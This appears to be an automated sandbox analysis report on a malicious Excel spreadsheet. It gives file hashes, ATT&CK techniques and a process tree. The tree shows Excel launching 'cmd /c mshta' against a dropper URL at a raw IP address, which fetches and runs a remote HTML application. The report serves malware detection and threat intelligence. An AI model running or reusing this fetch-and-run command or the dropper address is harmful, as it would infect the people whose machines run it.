4f2831e1939e0237a7421a2a62e2b704e12e46799e4a4b71fd092bf21672f25e

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 23:04

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General

Target

4f2831e1939e0237a7421a2a62e2b704e12e46799e4a4b71fd092bf21672f25e.xls
Size

104KB
MD5

790c1484d923af6f80e5633644105c86
SHA1

a77d1b876c3f56d80dfc81656792f87b637be58e
SHA256

4f2831e1939e0237a7421a2a62e2b704e12e46799e4a4b71fd092bf21672f25e
SHA512

0cbff19b3c478e2e86b116aff6bae380c026484dbee4c614d538f4e3651c89d053825691cfc21377af47691d6dbff98a9f254842e6f4327d23e492e049778c06
SSDEEP

3072:CGk3hbdlylKsgqopeJBWhZFGkE+cL2NdAydb4oifHMVhoSc2vUz3UWDG:Hk3hbdlylKsgqopeJBWhZFVE+W2NdAyu

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qw/as/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2396	2124	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1780	mshta.exe
7	1780	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2124	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 2396	2124	EXCEL.EXE	30
PID 2124 wrote to memory of 2396	2124	EXCEL.EXE	30
PID 2124 wrote to memory of 2396	2124	EXCEL.EXE	30
PID 2124 wrote to memory of 2396	2124	EXCEL.EXE	30
PID 2396 wrote to memory of 1780	2396	cmd.exe	32
PID 2396 wrote to memory of 1780	2396	cmd.exe	32
PID 2396 wrote to memory of 1780	2396	cmd.exe	32
PID 2396 wrote to memory of 1780	2396	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4f2831e1939e0237a7421a2a62e2b704e12e46799e4a4b71fd092bf21672f25e.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c mshta http://91.240.118.168/qw/as/se.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/qw/as/se.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:1780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2124-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2124-1-0x000000007267D000-0x0000000072688000-memory.dmp

Filesize
44KB

Download
memory/2124-2-0x000000007267D000-0x0000000072688000-memory.dmp

Filesize
44KB

Download